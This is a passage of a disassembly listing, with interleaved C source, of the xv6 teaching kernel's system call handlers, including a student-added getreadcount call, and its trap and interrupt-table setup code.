<sys_mknod+0x80> argint(2, &minor) < 0 || 8010520a: 0f bf 45 f4 movswl -0xc(%ebp),%eax 8010520e: 83 ec 0c sub $0xc,%esp 80105211: 0f bf 4d f0 movswl -0x10(%ebp),%ecx 80105215: ba 03 00 00 00 mov $0x3,%edx 8010521a: 50 push %eax 8010521b: 8b 45 ec mov -0x14(%ebp),%eax 8010521e: e8 9d f6 ff ff call 801048c0 <create> 80105223: 83 c4 10 add $0x10,%esp 80105226: 85 c0 test %eax,%eax 80105228: 74 16 je 80105240 <sys_mknod+0x80> (ip = create(path, T_DEV, major, minor)) == 0){ end_op(); return -1; } iunlockput(ip); 8010522a: 83 ec 0c sub $0xc,%esp 8010522d: 50 push %eax 8010522e: e8 cd c6 ff ff call 80101900 <iunlockput> end_op(); 80105233: e8 88 d9 ff ff call 80102bc0 <end_op> return 0; 80105238: 83 c4 10 add $0x10,%esp 8010523b: 31 c0 xor %eax,%eax } 8010523d: c9 leave 8010523e: c3 ret 8010523f: 90 nop begin_op(); if((argstr(0, &path)) < 0 || argint(1, &major) < 0 || argint(2, &minor) < 0 || (ip = create(path, T_DEV, major, minor)) == 0){ end_op(); 80105240: e8 7b d9 ff ff call 80102bc0 <end_op> return -1; 80105245: b8 ff ff ff ff mov $0xffffffff,%eax } iunlockput(ip); end_op(); return 0; } 8010524a: c9 leave 8010524b: c3 ret 8010524c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105250 <sys_chdir>: int sys_chdir(void) { 80105250: 55 push %ebp 80105251: 89 e5 mov %esp,%ebp 80105253: 56 push %esi 80105254: 53 push %ebx 80105255: 83 ec 10 sub $0x10,%esp char *path; struct inode *ip; struct proc *curproc = myproc(); 80105258: e8 23 e5 ff ff call 80103780 <myproc> 8010525d: 89 c6 mov %eax,%esi begin_op(); 8010525f: e8 ec d8 ff ff call 80102b50 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 80105264: 8d 45 f4 lea -0xc(%ebp),%eax 80105267: 83 ec 08 sub $0x8,%esp 8010526a: 50 push %eax 8010526b: 6a 00 push $0x0 8010526d: e8 8e f5 ff ff call 80104800 <argstr> 80105272: 83 c4 10 add $0x10,%esp 80105275: 85 c0 test %eax,%eax 80105277: 78 77 js 801052f0 <sys_chdir+0xa0> 80105279: 83 ec 0c sub $0xc,%esp 8010527c: ff 75 f4 pushl -0xc(%ebp) 8010527f: e8 3c cc ff ff call 80101ec0 <namei> 80105284: 83 c4 10 add $0x10,%esp 80105287: 85 c0 test %eax,%eax 80105289: 89 c3 mov %eax,%ebx 8010528b: 74 63 je 801052f0 <sys_chdir+0xa0> end_op(); return -1; } ilock(ip); 8010528d: 83 ec 0c sub $0xc,%esp 80105290: 50 push %eax 80105291: e8 da c3 ff ff call 80101670 <ilock> if(ip->type != T_DIR){ 80105296: 83 c4 10 add $0x10,%esp 80105299: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 8010529e: 75 30 jne 801052d0 <sys_chdir+0x80> iunlockput(ip); end_op(); return -1; } iunlock(ip); 801052a0: 83 ec 0c sub $0xc,%esp 801052a3: 53 push %ebx 801052a4: e8 a7 c4 ff ff call 80101750 <iunlock> iput(curproc->cwd); 801052a9: 58 pop %eax 801052aa: ff 76 68 pushl 0x68(%esi) 801052ad: e8 ee c4 ff ff call 801017a0 <iput> end_op(); 801052b2: e8 09 d9 ff ff call 80102bc0 <end_op> curproc->cwd = ip; 801052b7: 89 5e 68 mov %ebx,0x68(%esi) return 0; 801052ba: 83 c4 10 add $0x10,%esp 801052bd: 31 c0 xor %eax,%eax } 801052bf: 8d 65 f8 lea -0x8(%ebp),%esp 801052c2: 5b pop %ebx 801052c3: 5e pop %esi 801052c4: 5d pop %ebp 801052c5: c3 ret 801052c6: 8d 76 00 lea 0x0(%esi),%esi 801052c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi end_op(); return -1; } ilock(ip); if(ip->type != T_DIR){ iunlockput(ip); 801052d0: 83 ec 0c sub $0xc,%esp 801052d3: 53 push %ebx 801052d4: e8 27 c6 ff ff call 80101900 <iunlockput> end_op(); 801052d9: e8 e2 d8 ff ff call 80102bc0 <end_op> return -1; 801052de: 83 c4 10 add $0x10,%esp 801052e1: b8 ff ff ff ff mov $0xffffffff,%eax 801052e6: eb d7 jmp 801052bf <sys_chdir+0x6f> 801052e8: 90 nop 801052e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi struct inode *ip; struct proc *curproc = myproc(); begin_op(); if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ end_op(); 801052f0: e8 cb d8 ff ff call 80102bc0 <end_op> return -1; 801052f5: b8 ff ff ff ff mov $0xffffffff,%eax 801052fa: eb c3 jmp 801052bf <sys_chdir+0x6f> 801052fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105300 <sys_exec>: return 0; } int sys_exec(void) { 80105300: 55 push %ebp 80105301: 89 e5 mov %esp,%ebp 80105303: 57 push %edi 80105304: 56 push %esi 80105305: 53 push %ebx char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80105306: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax return 0; } int sys_exec(void) { 8010530c: 81 ec a4 00 00 00 sub $0xa4,%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80105312: 50 push %eax 80105313: 6a 00 push $0x0 80105315: e8 e6 f4 ff ff call 80104800 <argstr> 8010531a: 83 c4 10 add $0x10,%esp 8010531d: 85 c0 test %eax,%eax 8010531f: 78 7f js 801053a0 <sys_exec+0xa0> 80105321: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax 80105327: 83 ec 08 sub $0x8,%esp 8010532a: 50 push %eax 8010532b: 6a 01 push $0x1 8010532d: e8 1e f4 ff ff call 80104750 <argint> 80105332: 83 c4 10 add $0x10,%esp 80105335: 85 c0 test %eax,%eax 80105337: 78 67 js 801053a0 <sys_exec+0xa0> return -1; } memset(argv, 0, sizeof(argv)); 80105339: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 8010533f: 83 ec 04 sub $0x4,%esp 80105342: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi 80105348: 68 80 00 00 00 push $0x80 8010534d: 6a 00 push $0x0 8010534f: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi 80105355: 50 push %eax 80105356: 31 db xor %ebx,%ebx 80105358: e8 e3 f0 ff ff call 80104440 <memset> 8010535d: 83 c4 10 add $0x10,%esp for(i=0;; i++){ if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) 80105360: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax 80105366: 83 ec 08 sub $0x8,%esp 80105369: 57 push %edi 8010536a: 8d 04 98 lea (%eax,%ebx,4),%eax 8010536d: 50 push %eax 8010536e: e8 3d f3 ff ff call 801046b0 <fetchint> 80105373: 83 c4 10 add $0x10,%esp 80105376: 85 c0 test %eax,%eax 80105378: 78 26 js 801053a0 <sys_exec+0xa0> return -1; if(uarg == 0){ 8010537a: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax 80105380: 85 c0 test %eax,%eax 80105382: 74 2c je 801053b0 <sys_exec+0xb0> argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 80105384: 83 ec 08 sub $0x8,%esp 80105387: 56 push %esi 80105388: 50 push %eax 80105389: e8 62 f3 ff ff call 801046f0 <fetchstr> 8010538e: 83 c4 10 add $0x10,%esp 80105391: 85 c0 test %eax,%eax 80105393: 78 0b js 801053a0 <sys_exec+0xa0> if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ return -1; } memset(argv, 0, sizeof(argv)); for(i=0;; i++){ 80105395: 83 c3 01 add $0x1,%ebx 80105398: 83 c6 04 add $0x4,%esi if(i >= NELEM(argv)) 8010539b: 83 fb 20 cmp $0x20,%ebx 8010539e: 75 c0 jne 80105360 <sys_exec+0x60> } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); } 801053a0: 8d 65 f4 lea -0xc(%ebp),%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ return -1; 801053a3: b8 ff ff ff ff mov $0xffffffff,%eax } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); } 801053a8: 5b pop %ebx 801053a9: 5e pop %esi 801053aa: 5f pop %edi 801053ab: 5d pop %ebp 801053ac: c3 ret 801053ad: 8d 76 00 lea 0x0(%esi),%esi break; } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); 801053b0: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 801053b6: 83 ec 08 sub $0x8,%esp if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) return -1; if(uarg == 0){ argv[i] = 0; 801053b9: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4) 801053c0: 00 00 00 00 break; } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); 801053c4: 50 push %eax 801053c5: ff b5 5c ff ff ff pushl -0xa4(%ebp) 801053cb: e8 20 b6 ff ff call 801009f0 <exec> 801053d0: 83 c4 10 add $0x10,%esp } 801053d3: 8d 65 f4 lea -0xc(%ebp),%esp 801053d6: 5b pop %ebx 801053d7: 5e pop %esi 801053d8: 5f pop %edi 801053d9: 5d pop %ebp 801053da: c3 ret 801053db: 90 nop 801053dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801053e0 <sys_pipe>: int sys_pipe(void) { 801053e0: 55 push %ebp 801053e1: 89 e5 mov %esp,%ebp 801053e3: 57 push %edi 801053e4: 56 push %esi 801053e5: 53 push %ebx int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 801053e6: 8d 45 dc lea -0x24(%ebp),%eax return exec(path, argv); } int sys_pipe(void) { 801053e9: 83 ec 20 sub $0x20,%esp int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 801053ec: 6a 08 push $0x8 801053ee: 50 push %eax 801053ef: 6a 00 push $0x0 801053f1: e8 aa f3 ff ff call 801047a0 <argptr> 801053f6: 83 c4 10 add $0x10,%esp 801053f9: 85 c0 test %eax,%eax 801053fb: 78 4a js 80105447 <sys_pipe+0x67> return -1; if(pipealloc(&rf, &wf) < 0) 801053fd: 8d 45 e4 lea -0x1c(%ebp),%eax 80105400: 83 ec 08 sub $0x8,%esp 80105403: 50 push %eax 80105404: 8d 45 e0 lea -0x20(%ebp),%eax 80105407: 50 push %eax 80105408: e8 e3 dd ff ff call 801031f0 <pipealloc> 8010540d: 83 c4 10 add $0x10,%esp 80105410: 85 c0 test %eax,%eax 80105412: 78 33 js 80105447 <sys_pipe+0x67> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80105414: 31 db xor %ebx,%ebx if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) return -1; if(pipealloc(&rf, &wf) < 0) return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 80105416: 8b 7d e0 mov -0x20(%ebp),%edi // Takes over file reference from caller on success. static int fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); 80105419: e8 62 e3 ff ff call 80103780 <myproc> 8010541e: 66 90 xchg %ax,%ax for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ 80105420: 8b 74 98 28 mov 0x28(%eax,%ebx,4),%esi 80105424: 85 f6 test %esi,%esi 80105426: 74 30 je 80105458 <sys_pipe+0x78> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80105428: 83 c3 01 add $0x1,%ebx 8010542b: 83 fb 10 cmp $0x10,%ebx 8010542e: 75 f0 jne 80105420 <sys_pipe+0x40> return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ if(fd0 >= 0) myproc()->ofile[fd0] = 0; fileclose(rf); 80105430: 83 ec 0c sub $0xc,%esp 80105433: ff 75 e0 pushl -0x20(%ebp) 80105436: e8 f5 b9 ff ff call 80100e30 <fileclose> fileclose(wf); 8010543b: 58 pop %eax 8010543c: ff 75 e4 pushl -0x1c(%ebp) 8010543f: e8 ec b9 ff ff call 80100e30 <fileclose> return -1; 80105444: 83 c4 10 add $0x10,%esp } fd[0] = fd0; fd[1] = fd1; return 0; } 80105447: 8d 65 f4 lea -0xc(%ebp),%esp if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ if(fd0 >= 0) myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; 8010544a: b8 ff ff ff ff mov $0xffffffff,%eax } fd[0] = fd0; fd[1] = fd1; return 0; } 8010544f: 5b pop %ebx 80105450: 5e pop %esi 80105451: 5f pop %edi 80105452: 5d pop %ebp 80105453: c3 ret 80105454: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ curproc->ofile[fd] = f; 80105458: 8d 73 08 lea 0x8(%ebx),%esi 8010545b: 89 7c b0 08 mov %edi,0x8(%eax,%esi,4) if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) return -1; if(pipealloc(&rf, &wf) < 0) return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 8010545f: 8b 7d e4 mov -0x1c(%ebp),%edi // Takes over file reference from caller on success. static int fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); 80105462: e8 19 e3 ff ff call 80103780 <myproc> for(fd = 0; fd < NOFILE; fd++){ 80105467: 31 d2 xor %edx,%edx 80105469: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(curproc->ofile[fd] == 0){ 80105470: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx 80105474: 85 c9 test %ecx,%ecx 80105476: 74 18 je 80105490 <sys_pipe+0xb0> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80105478: 83 c2 01 add $0x1,%edx 8010547b: 83 fa 10 cmp $0x10,%edx 8010547e: 75 f0 jne 80105470 <sys_pipe+0x90> if(pipealloc(&rf, &wf) < 0) return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ if(fd0 >= 0) myproc()->ofile[fd0] = 0; 80105480: e8 fb e2 ff ff call 80103780 <myproc> 80105485: c7 44 b0 08 00 00 00 movl $0x0,0x8(%eax,%esi,4) 8010548c: 00 8010548d: eb a1 jmp 80105430 <sys_pipe+0x50> 8010548f: 90 nop int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ curproc->ofile[fd] = f; 80105490: 89 7c 90 28 mov %edi,0x28(%eax,%edx,4) myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } fd[0] = fd0; 80105494: 8b 45 dc mov -0x24(%ebp),%eax 80105497: 89 18 mov %ebx,(%eax) fd[1] = fd1; 80105499: 8b 45 dc mov -0x24(%ebp),%eax 8010549c: 89 50 04 mov %edx,0x4(%eax) return 0; } 8010549f: 8d 65 f4 lea -0xc(%ebp),%esp fileclose(wf); return -1; } fd[0] = fd0; fd[1] = fd1; return 0; 801054a2: 31 c0 xor %eax,%eax } 801054a4: 5b pop %ebx 801054a5: 5e pop %esi 801054a6: 5f pop %edi 801054a7: 5d pop %ebp 801054a8: c3 ret 801054a9: 66 90 xchg %ax,%ax 801054ab: 66 90 xchg %ax,%ax 801054ad: 66 90 xchg %ax,%ax 801054af: 90 nop 801054b0 <sys_fork>: #include "mmu.h" #include "proc.h" int sys_fork(void) { 801054b0: 55 push %ebp 801054b1: 89 e5 mov %esp,%ebp return fork(); } 801054b3: 5d pop %ebp #include "proc.h" int sys_fork(void) { return fork(); 801054b4: e9 67 e4 ff ff jmp 80103920 <fork> 801054b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801054c0 <sys_exit>: } int sys_exit(void) { 801054c0: 55 push %ebp 801054c1: 89 e5 mov %esp,%ebp 801054c3: 83 ec 08 sub $0x8,%esp exit(); 801054c6: e8 e5 e6 ff ff call 80103bb0 <exit> return 0; // not reached } 801054cb: 31 c0 xor %eax,%eax 801054cd: c9 leave 801054ce: c3 ret 801054cf: 90 nop 801054d0 <sys_wait>: int sys_wait(void) { 801054d0: 55 push %ebp 801054d1: 89 e5 mov %esp,%ebp return wait(); } 801054d3: 5d pop %ebp } int sys_wait(void) { return wait(); 801054d4: e9 17 e9 ff ff jmp 80103df0 <wait> 801054d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801054e0 <sys_kill>: } int sys_kill(void) { 801054e0: 55 push %ebp 801054e1: 89 e5 mov %esp,%ebp 801054e3: 83 ec 20 sub $0x20,%esp int pid; if(argint(0, &pid) < 0) 801054e6: 8d 45 f4 lea -0xc(%ebp),%eax 801054e9: 50 push %eax 801054ea: 6a 00 push $0x0 801054ec: e8 5f f2 ff ff call 80104750 <argint> 801054f1: 83 c4 10 add $0x10,%esp 801054f4: 85 c0 test %eax,%eax 801054f6: 78 18 js 80105510 <sys_kill+0x30> return -1; return kill(pid); 801054f8: 83 ec 0c sub $0xc,%esp 801054fb: ff 75 f4 pushl -0xc(%ebp) 801054fe: e8 3d ea ff ff call 80103f40 <kill> 80105503: 83 c4 10 add $0x10,%esp } 80105506: c9 leave 80105507: c3 ret 80105508: 90 nop 80105509: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi sys_kill(void) { int pid; if(argint(0, &pid) < 0) return -1; 80105510: b8 ff ff ff ff mov $0xffffffff,%eax return kill(pid); } 80105515: c9 leave 80105516: c3 ret 80105517: 89 f6 mov %esi,%esi 80105519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105520 <sys_getpid>: int sys_getpid(void) { 80105520: 55 push %ebp 80105521: 89 e5 mov %esp,%ebp 80105523: 83 ec 08 sub $0x8,%esp return myproc()->pid; 80105526: e8 55 e2 ff ff call 80103780 <myproc> 8010552b: 8b 40 10 mov 0x10(%eax),%eax } 8010552e: c9 leave 8010552f: c3 ret 80105530 <sys_sbrk>: int sys_sbrk(void) { 80105530: 55 push %ebp 80105531: 89 e5 mov %esp,%ebp 80105533: 53 push %ebx int addr; int n; if(argint(0, &n) < 0) 80105534: 8d 45 f4 lea -0xc(%ebp),%eax return myproc()->pid; } int sys_sbrk(void) { 80105537: 83 ec 1c sub $0x1c,%esp int addr; int n; if(argint(0, &n) < 0) 8010553a: 50 push %eax 8010553b: 6a 00 push $0x0 8010553d: e8 0e f2 ff ff call 80104750 <argint> 80105542: 83 c4 10 add $0x10,%esp 80105545: 85 c0 test %eax,%eax 80105547: 78 27 js 80105570 <sys_sbrk+0x40> return -1; addr = myproc()->sz; 80105549: e8 32 e2 ff ff call 80103780 <myproc> if(growproc(n) < 0) 8010554e: 83 ec 0c sub $0xc,%esp int addr; int n; if(argint(0, &n) < 0) return -1; addr = myproc()->sz; 80105551: 8b 18 mov (%eax),%ebx if(growproc(n) < 0) 80105553: ff 75 f4 pushl -0xc(%ebp) 80105556: e8 45 e3 ff ff call 801038a0 <growproc> 8010555b: 83 c4 10 add $0x10,%esp 8010555e: 85 c0 test %eax,%eax 80105560: 78 0e js 80105570 <sys_sbrk+0x40> return -1; return addr; 80105562: 89 d8 mov %ebx,%eax } 80105564: 8b 5d fc mov -0x4(%ebp),%ebx 80105567: c9 leave 80105568: c3 ret 80105569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi { int addr; int n; if(argint(0, &n) < 0) return -1; 80105570: b8 ff ff ff ff mov $0xffffffff,%eax 80105575: eb ed jmp 80105564 <sys_sbrk+0x34> 80105577: 89 f6 mov %esi,%esi 80105579: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105580 <sys_sleep>: return addr; } int sys_sleep(void) { 80105580: 55 push %ebp 80105581: 89 e5 mov %esp,%ebp 80105583: 53 push %ebx int n; uint ticks0; if(argint(0, &n) < 0) 80105584: 8d 45 f4 lea -0xc(%ebp),%eax return addr; } int sys_sleep(void) { 80105587: 83 ec 1c sub $0x1c,%esp int n; uint ticks0; if(argint(0, &n) < 0) 8010558a: 50 push %eax 8010558b: 6a 00 push $0x0 8010558d: e8 be f1 ff ff call 80104750 <argint> 80105592: 83 c4 10 add $0x10,%esp 80105595: 85 c0 test %eax,%eax 80105597: 0f 88 8a 00 00 00 js 80105627 <sys_sleep+0xa7> return -1; acquire(&tickslock); 8010559d: 83 ec 0c sub $0xc,%esp 801055a0: 68 80 4c 11 80 push $0x80114c80 801055a5: e8 96 ed ff ff call 80104340 <acquire> ticks0 = ticks; while(ticks - ticks0 < n){ 801055aa: 8b 55 f4 mov -0xc(%ebp),%edx 801055ad: 83 c4 10 add $0x10,%esp uint ticks0; if(argint(0, &n) < 0) return -1; acquire(&tickslock); ticks0 = ticks; 801055b0: 8b 1d c0 54 11 80 mov 0x801154c0,%ebx while(ticks - ticks0 < n){ 801055b6: 85 d2 test %edx,%edx 801055b8: 75 27 jne 801055e1 <sys_sleep+0x61> 801055ba: eb 54 jmp 80105610 <sys_sleep+0x90> 801055bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 801055c0: 83 ec 08 sub $0x8,%esp 801055c3: 68 80 4c 11 80 push $0x80114c80 801055c8: 68 c0 54 11 80 push $0x801154c0 801055cd: e8 5e e7 ff ff call 80103d30 <sleep> if(argint(0, &n) < 0) return -1; acquire(&tickslock); ticks0 = ticks; while(ticks - ticks0 < n){ 801055d2: a1 c0 54 11 80 mov 0x801154c0,%eax 801055d7: 83 c4 10 add $0x10,%esp 801055da: 29 d8 sub %ebx,%eax 801055dc: 3b 45 f4 cmp -0xc(%ebp),%eax 801055df: 73 2f jae 80105610 <sys_sleep+0x90> if(myproc()->killed){ 801055e1: e8 9a e1 ff ff call 80103780 <myproc> 801055e6: 8b 40 24 mov 0x24(%eax),%eax 801055e9: 85 c0 test %eax,%eax 801055eb: 74 d3 je 801055c0 <sys_sleep+0x40> release(&tickslock); 801055ed: 83 ec 0c sub $0xc,%esp 801055f0: 68 80 4c 11 80 push $0x80114c80 801055f5: e8 f6 ed ff ff call 801043f0 <release> return -1; 801055fa: 83 c4 10 add $0x10,%esp 801055fd: b8 ff ff ff ff mov $0xffffffff,%eax } sleep(&ticks, &tickslock); } release(&tickslock); return 0; } 80105602: 8b 5d fc mov -0x4(%ebp),%ebx 80105605: c9 leave 80105606: c3 ret 80105607: 89 f6 mov %esi,%esi 80105609: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi release(&tickslock); return -1; } sleep(&ticks, &tickslock); } release(&tickslock); 80105610: 83 ec 0c sub $0xc,%esp 80105613: 68 80 4c 11 80 push $0x80114c80 80105618: e8 d3 ed ff ff call 801043f0 <release> return 0; 8010561d: 83 c4 10 add $0x10,%esp 80105620: 31 c0 xor %eax,%eax } 80105622: 8b 5d fc mov -0x4(%ebp),%ebx 80105625: c9 leave 80105626: c3 ret { int n; uint ticks0; if(argint(0, &n) < 0) return -1; 80105627: b8 ff ff ff ff mov $0xffffffff,%eax 8010562c: eb d4 jmp 80105602 <sys_sleep+0x82> 8010562e: 66 90 xchg %ax,%ax 80105630 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 80105630: 55 push %ebp 80105631: 89 e5 mov %esp,%ebp 80105633: 53 push %ebx 80105634: 83 ec 10 sub $0x10,%esp uint xticks; acquire(&tickslock); 80105637: 68 80 4c 11 80 push $0x80114c80 8010563c: e8 ff ec ff ff call 80104340 <acquire> xticks = ticks; 80105641: 8b 1d c0 54 11 80 mov 0x801154c0,%ebx release(&tickslock); 80105647: c7 04 24 80 4c 11 80 movl $0x80114c80,(%esp) 8010564e: e8 9d ed ff ff call 801043f0 <release> return xticks; } 80105653: 89 d8 mov %ebx,%eax 80105655: 8b 5d fc mov -0x4(%ebp),%ebx 80105658: c9 leave 80105659: c3 ret 8010565a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105660 <sys_getreadcount>: int sys_getreadcount(void) { 80105660: 55 push %ebp 80105661: 89 e5 mov %esp,%ebp return getreadcount(); } 80105663: 5d pop %ebp } int sys_getreadcount(void) { return getreadcount(); 80105664: e9 27 ea ff ff jmp 80104090 <getreadcount> 80105669 <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 80105669: 1e push %ds pushl %es 8010566a: 06 push %es pushl %fs 8010566b: 0f a0 push %fs pushl %gs 8010566d: 0f a8 push %gs pushal 8010566f: 60 pusha # Set up data segments. movw $(SEG_KDATA<<3), %ax 80105670: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 80105674: 8e d8 mov %eax,%ds movw %ax, %es 80105676: 8e c0 mov %eax,%es # Call trap(tf), where tf=%esp pushl %esp 80105678: 54 push %esp call trap 80105679: e8 e2 00 00 00 call 80105760 <trap> addl $4, %esp 8010567e: 83 c4 04 add $0x4,%esp 80105681 <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 80105681: 61 popa popl %gs 80105682: 0f a9 pop %gs popl %fs 80105684: 0f a1 pop %fs popl %es 80105686: 07 pop %es popl %ds 80105687: 1f pop %ds addl $0x8, %esp # trapno and errcode 80105688: 83 c4 08 add $0x8,%esp iret 8010568b: cf iret 8010568c: 66 90 xchg %ax,%ax 8010568e: 66 90 xchg %ax,%ax 80105690 <tvinit>: void tvinit(void) { int i; for(i = 0; i < 256; i++) 80105690: 31 c0 xor %eax,%eax 80105692: 8d b6 00 00 00 00 lea 0x0(%esi),%esi SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 80105698: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx 8010569f: b9 08 00 00 00 mov $0x8,%ecx 801056a4: c6 04 c5 c4 4c 11 80 movb $0x0,-0x7feeb33c(,%eax,8) 801056ab: 00 801056ac: 66 89 0c c5 c2 4c 11 mov %cx,-0x7feeb33e(,%eax,8) 801056b3: 80 801056b4: c6 04 c5 c5 4c 11 80 movb $0x8e,-0x7feeb33b(,%eax,8) 801056bb: 8e 801056bc: 66 89 14 c5 c0 4c 11 mov %dx,-0x7feeb340(,%eax,8) 801056c3: 80 801056c4: c1 ea 10 shr $0x10,%edx 801056c7: 66 89 14 c5 c6 4c 11 mov %dx,-0x7feeb33a(,%eax,8) 801056ce: 80 void tvinit(void) { int i; for(i = 0; i < 256; i++) 801056cf: 83 c0 01 add $0x1,%eax 801056d2: 3d 00 01 00 00 cmp $0x100,%eax 801056d7: 75 bf jne 80105698 <tvinit+0x8> struct spinlock tickslock; uint ticks; void tvinit(void) { 801056d9: 55 push %ebp int i; for(i = 0; i < 256; i++) SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801056da: ba 08 00 00 00 mov $0x8,%edx struct spinlock tickslock; uint ticks; void tvinit(void) { 801056df: 89 e5 mov %esp,%ebp 801056e1: 83 ec 10 sub $0x10,%esp int i; for(i = 0; i < 256; i++) SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801056e4: a1 08 a1 10 80 mov 0x8010a108,%eax initlock(&tickslock, "time"); 801056e9: 68 dd 76 10 80 push $0x801076dd 801056ee: 68 80 4c 11 80 push $0x80114c80 { int i; for(i = 0; i < 256; i++) SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801056f3: 66 89 15 c2 4e 11 80 mov %dx,0x80114ec2 801056fa: c6 05 c4 4e 11 80 00 movb $0x0,0x80114ec4 80105701: 66 a3 c0 4e 11 80 mov %ax,0x80114ec0 80105707: c1 e8 10 shr $0x10,%eax 8010570a: c6 05 c5 4e 11 80 ef movb $0xef,0x80114ec5 80105711: 66 a3 c6 4e 11 80 mov %ax,0x80114ec6 initlock(&tickslock, "time"); 80105717: e8 c4 ea ff ff call 801041e0 <initlock> } 8010571c: 83 c4 10 add $0x10,%esp 8010571f: c9 leave 80105720: c3 ret 80105721: eb 0d jmp 80105730 <idtinit> 80105723: 90 nop 80105724: 90 nop 80105725: 90 nop 80105726: 90 nop 80105727: 90 nop 80105728: 90 nop 80105729: 90 nop 8010572a: 90 nop 8010572b: 90 nop 8010572c: 90 nop 8010572d: 90 nop 8010572e: 90 nop 8010572f: 90 nop 80105730 <idtinit>: void idtinit(void) { 80105730: 55 push %ebp static inline void lidt(struct gatedesc *p, int size) { volatile ushort pd[3]; pd[0] = size-1; 80105731: b8 ff 07 00 00 mov $0x7ff,%eax 80105736: 89 e5 mov %esp,%ebp 80105738: 83 ec 10 sub $0x10,%esp 8010573b: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 8010573f: 